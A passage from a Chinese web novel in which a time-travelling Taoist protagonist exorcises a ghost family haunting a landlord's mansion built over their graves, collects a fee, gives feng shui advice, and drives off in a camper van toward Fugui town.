谭百万面色古怪的道:
“大师,我知道,我....”
话还没说完,突然阴风阵阵,窗户自动开合,一阵阵悠悠的哭声传了出来。
第276章 民国的第一单生意
谭百万脸上的肥肉颤了颤,眼神有些游移,他搓着手,脸上挤出比哭还难看的笑容,声音发颤:
“是,是,大师明鉴……在下已经被折腾了一年,找了十来个大师,都……”
他说着,瞟了一眼瘫坐在不远处、失魂落魄的茅山明,脸上闪过一丝懊恼和愤懑,显然觉得自己被骗惨了。
“你知道就好。”
古德点了点头,话锋一转,“不过刚才外面那两只,是这位放出来吓唬你的,算不得折腾你的鬼。你这宅子里真正的麻烦,还没有出现,而且....”
他顿了顿,意味深长地看了一眼宅子深处,“恐怕还不止一个。”
谭百万和他那同样吓得不轻的夫人,以及几个缩成一团的家丁丫鬟,听到这话,脸色瞬间又白了几分。
谭百万结结巴巴地问:“不是吧大、大师....我...我就见过一个啊....”
就在这时,异变陡生!
仿佛是为了印证古德的话,宅子那黑黢黢的内厅方向,陡然传来一阵阴森森的穿堂风,四周悬挂的灯笼烛火猛地剧烈摇曳起!
“呜——呜呜——”
一阵若有若无、幽幽咽咽的哭声不知从宅子哪个角落飘了出来。
那哭声断断续续,时远时近,像女子的啜泣,又夹杂着孩童的呜咽,还混合着老人沉闷的叹息,交织在一起,在寂静的夜里显得格外凄楚诡异,直往人耳朵里钻,听得人心里发毛,寒毛倒竖。
紧接着,众人只听得“哐当!哐当!”几声乱响,内厅那两扇紧闭的雕花木窗,竟无风自动,猛地向外弹开,又狠狠合上,反复开合,撞在窗棂上发出刺耳的声响。
与此同时,一股远比之前更加阴冷的寒意,从内厅方向弥漫开来,让院中温度骤降,几个胆小的家丁忍不住牙齿打颤。
“啊——!鬼……鬼又来了!”
谭百万的夫人尖叫一声,差点晕厥过去,死死抓住谭百万的胳膊。
谭百万本人也是两股战战,他几乎是连滚爬带地躲到了古德身后,双手紧紧抓着古德的衣袍下摆,声音都变了调:
“大大大……大师!又来了!它们……它们又来了!就是这个声音!每天晚上都这样!”
就连角落的茅山明,感受到这股明显浓郁气怨念,也是脸色剧变,下意识地往后缩了缩,手里紧紧攥着那把油纸伞,却再不敢有丝毫表现的念头。
他养的小鬼跟这里面正主儿的道行比起来,简直是小巫见大巫。
古德眉头微蹙,望向那阴气翻涌的内厅方向,眼中带着点不耐烦。
“这是……想请我进去聊聊?”
古德嘴角勾起一丝冷冽的弧度。
他本来就要进去清理,既然对方“主动邀请”,那正好。
他转头,对侍立身旁、同样警惕地盯着内厅方向的阿草吩咐道:
“阿草,你留在这里,护着他们,别让闲杂东西靠近。我进去会会里面这群正主儿,看看它们到底想唱哪出。”
“是,老板!”
阿草清脆应道,上前一步,隐隐将谭百万一家和那些吓破胆的下人护在身后。
她虽仍是少女模样,但此刻俏脸含霜,眼神锐利,周身隐隐有一股清冽的草木灵气流转,竟也让那弥漫的阴寒之气为之一滞。
古德点点头,抬脚刚要走,眼角余光瞥见院子角落,那个被阿草掀到一边的茅山明,正捂着腰,龇牙咧嘴地想从地上爬起来,眼神还不住地往阿草手里的挎包瞟,满脸的不甘和心疼。
古德脚步一顿。
差点忘了,还有这茬。
自己现在可是“身无分文”,从香江带过来的港币在这民国就是废纸,之前兑换的黄金也不多,接下来去任家镇说不定还有用钱的地方。
眼前这谭百万,一看就是家底颇丰的土财主,自己帮他解决这宅子的根本问题,收点“驱邪劳务费,合情合理,总不能白忙活一场,当个活**吧!
想到这里,古德转过身,面向惊魂未定的谭百万,语气平静地开口:“谭老爷。”
谭百万正缩在阿草身后,闻言一个激灵,连忙探出半个脑袋,脸上堆起讨好的笑容,腰都弯了几分:“在,在!大师叫我谭百万就好了!不知大师有何吩咐?”
他现在是把古德当成唯一的救命稻草了。
“你这宅子的问题,根源在内里。我能进去帮你彻底解决掉,永绝后患。”
古德顿了顿,目光平静地看着谭百万。
“而且,我看你这宅子的风水格局,也有很大问题,就算没了里面的鬼物,长久住下去,对家宅人丁也未必是好事。这两样,我都可以一并给你处理妥当。”
他话没说完,但意思已经很明显了。
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>谭百万能做到一方富户,自然不是蠢人。
他立刻听出了古德的弦外之音,这是要谈价钱了。
若是平时,他肯定要讨价还价一番,但此刻宅子里还鬼哭狼嚎的,他哪还有半点犹豫?
此时钱财已是身外之物,哪有命重要!
他几乎是毫不犹豫地接口道:“大师!只要能解决这宅子的麻烦,让家里人能睡个安稳觉,花多少钱我都愿意!”
他伸出一根手指,咬了咬牙,报出一个自认为很有诚意的数字:
“我出一千……不,一千五百大洋!请大师务必救我全家!”
古德眉毛几不可察地挑了一下。
一千五百大洋,在民国初年可不是小数目,足够普通人家宽裕生活好些年了。
这谭百万倒是挺上道,也够舍得。看来是被这宅子折腾得不轻。
他神色不变,只是淡淡点了点头:
“谭老爷爽快。那此事就交给我了。”
既然是付了钱的客户,态度自然要好一些,给足面子。
“我这就进去解决里面的东西。谭老爷和你家眷就待在院子里,不要乱走,更不要好奇跟进来。这里有我手下护着,只要你们不乱跑,可保无虞。若是自己乱闯出了什么事……”
古德话没说完,只是意味深长地看了谭百万一眼。
谭百万把头点得像小鸡啄米,连连保证:“大师放心!我们一定不动!就呆在这儿!哪儿也不去!”
他紧紧拉着夫人,和家丁丫鬟们缩在一起,眼巴巴看着古德,仿佛那是唯一的救命稻草。
古德不再多言,迈开步子,不疾不徐地朝着内厅走去。
他脚步沉稳,踏在青石板上,发出清晰的“嗒、嗒”声,在这充斥着诡异呜咽风声的庭院里,竟有种奇特的镇定人心的力量。
走到内厅那两扇厚重的雕花木门前,古德甚至没有抬手推门,只是脚步微微一顿。
那两扇门仿佛被一只无形的手推动,“吱呀”一声,向内缓缓打开,露出后面一片深邃的黑暗。
浓得化不开的阴寒气息扑面而来,其中夹杂着更清晰的悲泣呜咽声。
古德神色不变,一步跨入其中。
“砰!”
他身形没入黑暗的刹那,那两扇木门仿佛被一只看不见的手猛地一拉,重重关上,发出一声闷响,将里外隔绝成两个世界。
第277章 天师饶命!
门外的谭百万等人被这突如其来的关门声吓得又是一哆嗦,更加不敢动弹,全都眼巴巴地望着阿草,仿佛她是此刻唯一的守护神。
阿草则抱着手臂,静静站在众人前方,目光偶尔扫过内厅方向,又警惕地环视四周,尽职尽责地履行着保镖的职责。
内厅之中,一片漆黑,只有窗外惨淡的月光勉强透入,勾勒出家具模糊的轮廓。
空气中弥漫着一股陈腐的尘土味,混合着一种难以言喻的、类似于墓穴深处的阴湿寒气。
先前在外面听到的呜咽哭泣声,此刻仿佛就在耳边萦绕,时远时近,忽左忽右,撩拨着人的神经。
古德站在厅中,负手而立,仿佛对周遭的黑暗与诡异声响浑然不觉。
他心念微动,双目之中淡金色的毫光一闪而逝,已然开启了法眼和小神通灵目。
刹那间,厅内的景象在他眼中变得截然不同。
黑暗退去,取而代之的是一种朦胧的、仿佛隔着一层灰雾的视野。
而在厅堂的各个角落,或站或坐,或飘或伏,赫然显现出六道影影绰绰的鬼影!
它们并未完全显形,寻常**眼难以看见,但在古德的法眼之下,却无所遁形。
这六只鬼,阴气凝聚程度远超刚才外面那两只演员,显然是在此地盘桓已久、吸收地脉阴气而成的地头蛇。
此刻,这六只鬼物的目光,齐刷刷地聚焦在刚走进来的古德身上。
目光说不上多友善,带着审视、警惕,还有一丝丝……委屈?
古德的目光扫过它们。
为首的是一只女鬼,看起来约莫二十出头,穿着一身素白的衣裙,不是那种夸张的寿衣,更像是寻常女子的居家服。
她面容清秀,但脸色惨白,眉眼间凝聚着一股化不开的哀愁和怨气,魂体凝实,阴气较重,是厉鬼级别。
她身边飘着一个小鬼,穿着……嗯,又是清朝那种小号的官服,戴着小小的顶戴,年纪和刚才那个“小宝”相仿,脸色青白,但眼神没有小宝那么懵懂,也是一只厉鬼。
另外四只,阴气稍弱,但怨念也不小,是恶鬼层次。
看其形态,分别是一对老年鬼夫妻,以及也是穿着清朝官服的的中年男鬼,和一个中年女鬼。
这四只恶鬼隐隐以那白衣女鬼和小厉鬼为中心,呈现出一家之象。
一家六口?
古德心里有了数。
而且看它们鬼相,虽然带着怨气,但身上并无血腥煞气,眼神里也没有那种害人后的疯狂戾气,还算干净。
他心中满意地点了点头。
这一家子,两只厉鬼,四只恶鬼,加起来,阴德点数应该相当可观,比外面那俩演员小鬼值钱多了。
此刻,这六只鬼物正用它们那空洞或怨恨的眼睛,死死地盯着闯入的古德。
无形的阴冷恶意如同潮水般弥漫开来,试图侵扰古德的心神。
然而,古德周身自有金光流转,那点恶意如同冰雪遇阳,顷刻消融。
“装神弄鬼。”
古德嗤笑一声,声音在空旷寂静的内厅中回荡,清晰地传入每一只鬼物的耳中。
那六只鬼物显然没料到古德不仅能看到它们,还能如此镇定自若,甚至出言调侃。
那白衣女鬼空洞的眼神波动了一下,似乎有些意外。
那小厉鬼则龇了龇牙,发出低低的、威胁般的嘶吼。
古德懒得跟它们多费唇舌。
这些鬼物盘踞于此,惊扰生人,虽暂未害命,但长久下去,必生祸端。
而且,对他而言,这些都是好货源,是实实在在的阴德点。
他不再多言,抬起右手,食指与中指并拢如剑,指尖微微一亮。
“雷来。”
下一刻,璀璨炽烈的雷光猛然在他指尖迸发!
五脏小神通,阳五雷!
“嗤啦——!”
一道仅有拇指粗细、却凝练无比、至阳至刚的白色雷弧,如同灵蛇出洞,撕裂黑暗,以迅雷不及掩耳之势,精准地射向那阴气最盛、怨念最强的白衣女鬼!
雷法,至阳至刚,专破阴邪!
更何况是古德以**境修为催动、源自五脏神藏的小神通阳五雷!
其威力,绝非寻常道士画的五雷符可比!
“啊——!”
那白衣女鬼根本来不及做出任何反应,就被白色雷弧瞬间击中!
她发出一声凄厉无比的惨
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叫,鬼体剧烈震颤,原本凝实的形体瞬间变得模糊了几分,周身的怨戾阴气如同滚汤泼雪,嗤嗤作响,消散了一大片!
雷光并未停歇,在击中她的瞬间,竟如蛛网般炸开,分出数道细小的电弧,噼啪作响,弹射向近在咫尺的其他五只鬼物!
“嗷!”“呃啊!”
惨叫声此起彼伏。
那小厉鬼和四只恶鬼同样被细碎雷弧扫中,一个个如遭重击,鬼体明灭不定,被迫从隐匿状态中显形而出,狼狈地摔倒在地,或滚或趴,身上阴气逸散,看向古德的目光充满了无尽的恐惧和骇然!
仅仅一击!还是范**击的余波!
就让他们全家整整齐齐,险些魂飞魄散!
古德好整以暇地收回手,指尖雷光隐去。
他心念一动,一股更加堂皇正大、百邪不侵的淡金色光芒自他体表隐隐浮现,将他衬托得宝相庄严,宛如神人临凡。
在这金光映照下,厅内残留的阴寒之气如同烈日下的薄雾,迅速消融。
他目光平静地扫过地上瑟瑟发抖、勉强聚拢形体的六只鬼物,语气淡漠:
“现在,可以好好说话了吗?把我引进来,所为何事?若是没事,就乖乖跟我走,莫要再骚扰生人宅邸。过两日,我送你们去该去的地方,或许还有投胎转世的机会。”
那白衣女鬼挣扎着爬起,看向古德的眼神充满了惊惧。
刚才那一记雷法,让她真切地感受到了魂飞魄散的恐怖。
眼前这道人,法力之高,远超她生前死后所见任何法师!
那身金光,更是让她本能地感到无边的压迫与刺痛。
她知道,踢到铁板了,不,是踢到钢板了!
反抗毫无意义。
她挣扎着,对着周围的家人使了个眼色。
那四只恶鬼早就吓破了胆,此刻见女鬼示意,忙不迭地点头。
连那只原本有些凶性的小鬼,此刻也缩在女鬼母亲身边,不敢抬头看古德。
下一秒,让古德有点哭笑不得的一幕出现了。
只见那女厉鬼强撑着,率先朝着古德的方向,噗通一下跪了下来,以头触地。
“天师饶命!天师饶命啊!”
第278章 原来是受**的原住民
女厉鬼带着哭腔哀求道,声音凄楚,“我们……我们也是受害鬼啊!求天师明鉴!”
她这一跪,像是发出了信号,另外五只鬼,包括那小鬼,也齐刷刷地、毫无骨气地跟着跪倒一片,朝着古德连连叩首,动作整齐划一。
然后鬼哭狼嚎地求饶:
“天师开恩!”
“我们冤枉啊!”
“求天师为我们做主啊!”
古德:“……”
这跪得也太快、太熟练了吧?
刚才那点装出来的凶恶呢?看来又是些识时务的俊杰……不,俊鬼。
他收起指尖电芒,周身的金光也稍微敛去一些,让压力减轻点,这才开口,语气带着点好奇:
“受害鬼?怎么说?你们盘踞在此,惊扰生人,吓唬住户,还成了受害者?”
古德虽然知道这是电影灵幻先生里的开场剧情,但是时间过去太久了,很多细节他也记不清楚,忘记这六个鬼是什么原因在这里。
那女厉鬼见古德愿意听,连忙抬起头,也顾不得害怕了,竹筒倒豆子般诉说起来,语气充满了委屈:
“天师容禀!我们一家……原本就葬在此地!我们的坟茔,就在这宅子的下面!”
她指了指脚下,又指向厅堂后的方向:
“外面那个姓谭的,不知道听了哪个缺德风水师的谗言,把宅子直接建在了我们的坟地上!每天头顶上住着人,人来人往,阳气冲撞,还有房屋地基压着,我们能舒服吗?魂体不安,难以沉眠,简直就是日夜煎熬!”
旁边那小厉鬼,也就是她弟弟,也抬起头,青黑的小脸上满是愤怒,尖声补充:
“就是!他们坏了我们的家!还天天在上面走来走去,吵得我们不得安生!我们……我们只是想吓走他们,把我们的家还给我们!我们没想害人!最多就是让他们做噩梦,搬点东西,弄出点声响……我们真的没害过人命啊!天师明鉴!”
旁边的老鬼也颤巍巍地补充,声音苍老:
“是啊天师,我们只是想把他们吓走,让他们搬离此地,从未想过要害人性命。最多就是弄出点动静,让他们睡不好觉,知道这地方住不得……我们冤枉啊!”
古德静静听着,结合自己之前观察这宅子风水得出的结论,心中已然明了。
果然如此。
这谭百万建宅,竟是直接建在了一处老坟地上,而且是将原墓主的棺椁尸骨深埋宅基之下!
这在风水上是大忌中的大忌,名为“骑坟煞”或“压棺煞”,是极易招致阴灵报复、家宅不宁的凶局。
难怪这宅子阴气汇聚,鬼物盘踞不去。它们并非外来游魂,而是原住户,家被占了,自然要闹。
这谭百万找的风水师,要么是半桶水瞎忽悠,要么就是跟谭百万有仇,故意坑他。
“原来如此。”
古德点了点头,脸色稍霁。
若这几只鬼所言非虚,那它们确实有值得同情之处。
占人阴宅,压人尸骨,阻人轮回,此乃大因果。它们只是惊扰恐吓,未伤人命,已算克制。
“你们的冤屈,我已知晓。”
古德开口道,声音平静,却带着一种令人信服的力量。
“占据阴宅,压人尸骨,阻人轮回,此乃阳世人之过。我会让外面那谭百万,将你们的尸骨妥善迁出,另寻吉地安葬,并请僧人道士为你们做一场法事,超度亡魂,助你们早日往生。”
六只鬼物闻言,先是一愣,随即大喜过望,连连叩首:“多谢天师!多谢天师慈悲!”
“不过,”古德话锋一转。
不过....理解归理解,流程还是要走的。
鬼物滞留阳间,惊扰活人,本身就是问题。
何况,这几只鬼的质量确实不错……
当然以上是古德心里的想法,下面才是古德想说的。
“尔等毕竟惊扰生人在先,且滞留阳间多年,阴气侵扰宅院,也有过错。今日既被我遇上,便是缘法。我可以送你们一程,直接引渡你们前往地府,**情由,或许可免去一些滞留阳间的责罚,早日安排投胎。如何?”
直接送地府?
六只鬼物面面相觑,眼中既有期待,也有忐忑。
它们滞留阳间,除了家被占,也是因为无人超度,成了孤魂野鬼。
若能直接去地府,固然是好,可……
六只鬼互相看了看,眼神交流。那女厉鬼脸上闪过挣扎,但看看古德平静却不容置疑的眼神,又感受了一下魂体尚未完全消散的麻痹痛楚,最终还是颓然低下头。
“我们……愿意跟天师走。只求天师信守承诺,让我们的尸骨得以安葬。”
白衣女鬼最先反应过来,再次叩首。
能得这位法力高深的天师亲自引渡,绝对比它们自己浑浑噩噩飘荡,或者等着不知何年何月的超度要强太多!
至于地府审判……它们自问未曾害人,又有冤屈在身,**之后,应当不至于重罚。
“放心,我说到做到
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。”
古德不再多言,伸手挎包中取出六张的收鬼符。
手指一弹,六张收鬼符如同被无形之力牵引,轻飘飘地飞出,分别飞向六只鬼物。
“你们自己进来吧。莫要逼我动手,将你们打个半死再塞进去,那样对谁都没好处。”
他语气平淡,却带着一丝冷意。
六只鬼物感受到那符箓上散发出的、对魂体有着天然吸引和约束力的气息,又想起刚才那恐怖的雷法,哪还敢有半点异议?
互相对视一眼,齐齐朝着古德手中的符箓拜了一拜,然后化作六道或浓或淡的青烟,主动投入那六张黄符之中。
黄符光芒微闪,自动折叠成六个整齐的三角小包,落入古德掌心。
内厅之中,弥漫的阴寒之气顷刻间消散大半,那令人心悸的呜咽哭泣声也彻底消失,只剩下空荡荡的寂静。
古德掂了掂手中的六个三角符包,满意地点点头。
两只厉鬼,四只恶鬼,虽然实力平平,但胜在魂体干净,怨气不重,送到赵吏那里,应该能换个不错的价钱。
这一趟,算是没白忙活。
他不再停留,转身走向内厅大门,伸手一拉。
“吱呀——”
木门应手而开。
外面院子里焦急等待的众人立刻看了过来。
灯笼和烛火的光芒重新照亮古德的身影,他神色如常,甚至连衣角都没乱。
“大、大师!”
谭百万一直伸长脖子盯着这边,此刻见古德出来,连忙挣开老婆的手,小跑着上前,又是紧张又是期待地问:
“大师!大师!里面……怎么样了?那声音……没、没了吧?”
他刚才确实听到了几声短促的惨叫,然后就彻底安静了。
此刻看古德气定神闲的样子,心里已经信了大半,但还是忍不住要亲口确认。
古德走出内厅,反手将门带上,隔绝了里面残余的阴气。
他看向谭百万,语气平淡:“里面的朋友,我已经请走了。从今往后,它们不会再骚扰贵府。”
“真……真的?!”
谭百万大喜过望,胖脸上绽开笑容,但随即又想到什么,小心翼翼地问,“那……它们不会再回来了吧?”
古德再次点了点头表示确定。
他夫人和家丁们这下也纷纷露出如释重负的表情,看向古德的眼神充满了敬畏和感激。
“不过.....”
古德话锋一转,成功让谭百万脸上的笑容僵住。
第279章 指点风水和再次出发
看着谭百万那表情,古德嘿嘿一笑,不过也没有继续戏弄谭百万。
“谭老爷,你这宅子的问题,根源并未完全解决。我方才进去,与里面那几位原住户沟通了一番,得知了一些事情。”
“原、原住户?”
谭百万心里咯噔一下,有了不好的预感。
“不错。”
古德点点头,语气带着几分意味深长。
“你这宅子,是建在了一处老坟地上。而且,建宅之时,并未将原墓主的棺椁尸骨妥善迁出,而是直接将其深埋于你这宅基之下,足有三丈之深。
方才那一家六口鬼魂,便是被你压在下方的原住户。它们家宅被占,尸骨被压,魂魄不得安息,无法投胎,这才惊扰于你,想将你们赶走,夺回自己的家。”
“啊?!”
谭百万如遭雷击,脸色瞬间变得惨白,冷汗刷地一下就下来了。
他身边那妇人也“哎呀”一声,差点晕过去。
他们虽然不懂风水玄学,但也知道把房子建在别人坟头上是大忌讳,更何况还把人家尸骨压在下面!
这、这简直是缺德带冒烟啊!
“大、大师!这、这……我当初买地建宅,是请了有名的风水先生洪阿宝看的啊!他说此地是‘金蟾聚财’的格局,旺我财运,并未提及下面有坟啊!”
谭百万急得直跺脚,又是委屈又是后悔。
“洪阿宝?”
古德嘴角勾起一抹冷笑,“此人要么是学艺不精,根本看不出地下有阴宅;要么便是心术不正,明知故犯,拿了你的钱,却给你指了条绝路。‘金蟾聚财’?我看是‘阴蟾索命’还差不多!”
他不再理会谭百万的辩白,直接说出解决方案:
“如今,那一家鬼魂我已答应送它们往生。但它们尸骨仍在你这宅基之下,此为症结。你需尽快找人,在我标注的位置,向下挖掘至少三丈,将下方埋藏的六具棺椁尸骨起出。
记住,要请正经道士或和尚,择一吉日吉时,小心挖掘,不可损毁骸骨。起出后,另寻一处背山面水、干燥通风的吉地,好生安葬,并做一场像样的法事,超度亡魂,化解这段因果。
否则,即便我今日送走了它们,他日若有其他孤魂野鬼被此地阴气吸引而来,或是它们心有不甘,执念未消,再度为祸,你这宅子,依旧不得安宁。”
古德稍微加重了语气,带着一点警告的意味。
他相信,经过今晚这一吓,谭百万绝不敢在这事上打折扣。
谭百万听完,脸都绿了,但也知道此事关乎全家性命和宅邸安宁,容不得半点马虎,连忙赌咒发誓:
“大师放心!明日,不!我连夜就去找人!一定按大师吩咐,将先人尸骨请出,厚葬超度!花多少钱都行!”
古德微微颔首,算是认可了他的态度。
接着,他话锋再转,目光扫过这偌大的宅院,继续道:
“尸骨之事,是其一。其二,你这宅子本身的风水格局,也有大问题。当初为你选址定宅之人,若非庸才,便是其心可诛。”
谭百万的心又提了起来,眼巴巴地看着古德,如同聆听圣旨。
古德背着手,在院中踱了几步,指着宅院各处,一一说道:
“其一,你这宅子,独门独户,建于此空旷之地,四周无依无靠,在风水上称为‘孤峰独耸’、‘八风扫宅’。
无遮无拦,生气不聚,反成风口,易招阴邪煞气。需在宅子四周,特别是西北、东北两个方位,种植高大乔木,如松、柏、桂树之类,以作屏障,藏风聚气。”
“其二,宅前本有溪流,乃是‘玉带环腰’的吉兆,主财运。然溪流早已干涸,成了死水沟,此乃‘金锁断流’之凶相,主财源枯竭,家道中落。需清理沟渠,设法引活水注入,若无活水,也需填平,不可留此污秽死水。”
“其三,宅院后方低洼,且无靠山,此乃‘坐空朝满’,主家业不稳,贵人无助,易生变故。需在宅后堆土成丘,或建一堵高大的影壁墙,以为靠山。”
“其四,院内植物杂乱,尤其东南角那几株老槐树,‘槐’字带鬼,最易招阴。需尽快移走,可改种石榴、桂花等寓意吉祥的树种。”
“其五,大门正对厅堂,一览无余,此为‘穿心煞’,不利藏风聚气,也易冲撞家主。需在大门内设置屏风或玄关,以作缓冲。”
“其六,厨房位于正西方‘白虎位’,且灶口对门,火克金,又形成‘火烧天门’之势,主口舌是非,伤病破财。需调整灶位,至少避免灶口直对大门。”
古德侃侃而谈,每说一处,便指出其风水弊病及化解之法,言辞清晰,直指要害。
谭
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百万听得目瞪口呆,冷汗涔涔。
他不懂风水,但古德说的这些弊端,与他家这一年的境遇。
生意不顺、家人多病、宅内不宁竟一一对上了!
此刻他心中对那位洪阿宝大师已是恨之入骨,同时对古德的敬佩更是如滔滔江水。
“洪阿宝!这个天杀的骗子!害苦我了!”
谭百万咬牙切齿,捶胸顿足,“若是让老子再碰到他,非扒了他的皮不可!”
古德摆摆手,示意他不必激动,淡淡道:
“江湖术士,良莠不齐,谭老爷日后寻访此类人物,需得擦亮眼睛。按我说的这几处一一整改,虽不能立成风水宝地,但化解凶煞,转危为安,保你家宅宁静,财运渐复,应当不难。”
“是是是!全凭大师指点!在下一定照办!照办!”
谭百万此刻对古德已是奉若神明,言听计从。
该说的说了,该办的也办了。
古德觉得差不多了,便停下话头,目光平静地看向谭百万。
谭百万也是人精,立刻会意,连忙对身边管家模样的人喝道:
“还愣着干什么!快去账房,取两千……不,取两千五百现大洋来!要快!用红布包好,给大师奉上!再让厨房立刻准备最好的席面,我要好好酬谢大师!”
管家连声应下,小跑着去了。
不多时,管家带着两个家丁,抬着一个沉甸甸的朱漆木盘回来,上面整整齐齐码放着用红纸封好的一筒筒银元,在月光下泛着诱人的光泽。
另外还有几封用红绸系着的银票。
“大师,区区薄礼,不成敬意!权当酬金,万望笑纳!酒席已在准备,还请大师赏光,让在下略尽地主之谊!”
谭百万亲手接过木盘,恭敬地捧到古德面前。
古德扫了一眼,微微颔首。
阿草乖巧地上前,接过木盘。
那分量不轻,但阿草拿着毫不费力,这让谭百万等人又是一惊。
“酒席就不必了,时辰不早,我等还要赶路。”
古德婉拒了留饭的邀请。
他急着去富贵镇见九叔,没兴趣在这里应酬。
至于茅山明,古德出来后就没有看到他,不知道是什么时候溜走的。
见古德是真的摇走,谭百万也不敢强留,又是一番千恩万谢,亲自将古德和阿草送出大门。
第280章 民国都有碰瓷的啊
古德正准备和谭百万告别,忽然想起一件要紧事。
他停下脚步,转头问道:
“对了,谭老爷,向你打听个路。这富贵镇,从此地过去,还有多远?该怎么走?”
谭百万脸上的表情变得有些古怪,他“呃”了一声,眼神闪烁,带着点欲言又止:
“富贵镇?大师要去富贵镇?那地方……离我们吉祥镇倒是挺近的,就在东边,沿着官道一直走,大概也就四十里地左右,脚程快的话,大半天就能到。不过……”
他凑近一点,压低声音,带着几分担忧和提醒的意味:
“大师,最近还是别去富贵镇为好。我听说那边……不太平,闹山贼!凶得很!好像是什么马贼帮,来去如风,**劫财,官府都拿他们没辙。镇上的人现在都人心惶惶的,天一黑就闭户不出。大师您这身打扮和气度,去了怕是……”
他看了看古德看起来就很有档次的服饰和旁边清秀的阿草,意思很明显,容易被当成目标。
“闹山贼?”
古德眉毛一扬,心中却是一动。
不是普通的山贼,是马贼帮?
这不和灵幻先生里的剧情对上了,没想到现在是这个时间节点了,看来九叔从任家镇赶往富贵镇,也是因为这个事情。
不过这或许不是坏事,乱中更容易雪中送炭,也更好拉上关系和交情。
不过他没跟谭百万解释太多,只是点了点头,语气平淡:
“多谢谭老爷提醒。我有些私事,必须去富贵镇一趟。山贼之事,我自有分寸。”
谭百万见古德主意已定,也不好再劝,只能再次躬身道谢:
“那……大师一路千万小心!若在富贵镇有用得着我谭某的地方,尽管捎个信来!”
古德再次拱手,然后转身,带着阿草,不紧不慢地走向停在官道边的房车。
在谭百万的眼里,古德两人拉开一道门,然后身形隐入那白色铁块之中。
谭百万就站在大门口,一直目送着。
当他看到那没有任何牛马拉动的铁块,竟然自行发出低沉的嗡鸣,车头两盏大灯重新亮起,然后平稳地调转方向,沿着官道向东驶去,很快就消失在浓浓的夜色里时。
他嘴巴张得能塞下一个鸡蛋,脸上的表情彻底凝固,混杂着难以置信的震惊和一种近乎敬畏的茫然。
“这……这铁车……自己会动?不用马拉?还没什么声响?”
他喃喃自语,好半天才回过神来,猛地一拍大腿,“神仙!古大师绝对是神仙下凡!不仅能抓鬼,还能驾驭这等神物!”
晚风一吹,他才发觉自己后背的绸衫早已被冷汗浸湿,紧贴在皮肉上,凉飕飕的。
“老爷,老爷?那位大师……走远了。”
管家小心翼翼地凑过来,低声提醒。
谭百万用力抹了把脸,长长吐出一口浊气,仿佛要把今晚所有的惊吓、后怕、庆幸都吐出去。
他回头望向身后这栋刚刚花了巨资建造、却差点成了自己一家老小埋骨地的豪华宅院,眼神复杂得难以形容。
既有劫后余生的虚脱,也有对那位神秘古大师的敬畏感激,更多的,则是对未来如何按照古德指点整改风水的头疼,以及对那个坑**不偿命的洪阿宝的切齿痛恨。
“洪阿宝……洪阿宝!”
谭百万从牙缝里挤出这个名字,胖脸上肌肉抽搐,“等老子处理完这摊子事,找到你这王八蛋,看我不扒了你的皮!”
此时,白色房车平稳地行驶在坑洼的土路上,车灯如两柄利剑,劈开浓稠的黑暗。
车内只有发动机低沉的嗡鸣和仪表盘幽幽的荧光。
古德此刻心情相当不错。
他坐在驾驶座上,并没有立刻换阿草来开,而是自己操控。
他心念一动,副驾上那个装着两千大洋的沉重木箱,便无声无息地消失,被收进了系统自带的储物空间里。
这一趟,既收了鬼,赚了阴德,又得了钱财,算是收获颇丰。
阿草坐在副驾驶
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,把玩着那六个三角符包,好奇地问:“老板,这些鬼,和之前那两个,一起卖给那个赵吏吗?”
“嗯!”
古德靠在舒适度极佳的座椅上,一只手随意搭着方向盘,目光望着窗外飞速向后掠去的模糊树影和田野。
“先看看情况。如果能顺利找到四目的师兄,他那里存货多的话,就一并处理了,省得麻烦。希望这位林道长,别让我失望才好。”
他语气里带着点期待,毕竟电影里的九叔可是用了一个大房间放收来的鬼。
正说着,前方道路视野良好,笔直一段。
古德想着早点到地方,脚下油门便稍稍加深了一些。
升级后的车子响应极其灵敏,速度立刻提了上来,夜风掠过车体的声音都变得明显了些。
就在车速刚提起来没多久,前方道路右侧的黑暗中,毫无征兆地突然窜出一个人影!
那人影低着头就往路中间跑,直直地朝着车头撞来!
“我靠!”
古德瞳孔一缩,反应极快,右脚瞬间从油门移到刹车,狠狠地一脚跺了下去!
“吱——!!!”
刺耳的刹车声在寂静的夜空中骤然响起!
轮胎与粗糙的土路剧烈摩擦,甚至冒起一股淡淡的焦糊味。
好在车子性能卓越,制动系统给力,加上古德反应及时,庞大的车身在剧烈的前倾晃动中,硬生生在距离那人影不到半米的地方险险停住!
车头大灯将那人的身影照得清清楚楚。
古德惊魂未定,一股火气就冲了上来。
他摇下车窗,探出头去,对着那个呆立在车灯光柱里、脸色惨白、显然也被吓傻了的人影破口大骂:
“你**找死啊?!大半夜的突然从路边窜出来,赶着去投胎吗?!这民国地界也有搞碰瓷的吗?我告诉你,我这车没保险!撞**白撞!还得算你妨碍交通!”
他这一连串带着后世网络用语和情绪的怒骂,显然超出了车外那人的理解范围。
第281章 鬼乃不祥之物,妖不一样~
那人不是别人,正是之前被阿草掀到一边、失魂落魄的茅山明。
只见他一个穿着皱巴巴旧道袍、头发有些散乱、脸上还带着惊魂未定神色,正手脚发软地瘫坐在车头前的地上。
古德骂了几句,气顺了些,这才看清是茅山明,眉头立刻皱了起来,脸上露出毫不掩饰的嫌弃:
“原来是你这老小子。阴魂不散是吧?刚才在谭家没跟你计较,你还追到路上来了?想死也死远点,别害我的车子染上魂环,晦气!”
他这话带着火气,也夹杂了点只有他自己懂的吐槽。
茅山明显然也被刚才那一下吓得不轻,脸色煞白,呼哧呼哧喘着粗气。
听到古德的声音,他才回过神来,手忙脚乱地从地上爬起来,也顾不得拍打身上的尘土,对着古德就是一个深深的鞠躬,脸上挤出比哭还难看的讨好笑容:
“道、道友恕罪!贫道……贫道绝非有意冲撞!实在是……实在是有急事相求,又怕追不上道友这神物坐骑,一时情急,这才……这才唐突了!”
他话里对房车的称呼都变成了“神物坐骑”,可见刚才那风驰电掣的速度和说停就停的架势,给他留下了深刻印象。
“急事?”
古德抱着胳膊,冷冷地看着他,“什么事能急到让你用命来拦车?怎么,还想为你那两只小鬼求情?”
茅山明被古德道破心思,老脸一红,但想到大宝小宝,还是硬着头皮,搓着手,陪着小心道:
“道友明鉴……贫道……贫道确实是为我那两只不成器的小鬼而来。它们……它们虽顽劣,但跟随贫道多年,从未害过人性命,此番惊扰谭府,也是贫道一时糊涂,指使所为……
千错万错,都是贫道的错!恳请道友高抬贵手,将它们还给贫道,贫道保证,一定严加管束,再不纵容它们出来吓人**!”
他说得情真意切,眼眶都有些发红。
养了这么多年,虽说最初动机不纯,但日久生情,那两只小鬼对他而言,已不完全是工具,多少有些相依为命的感情。
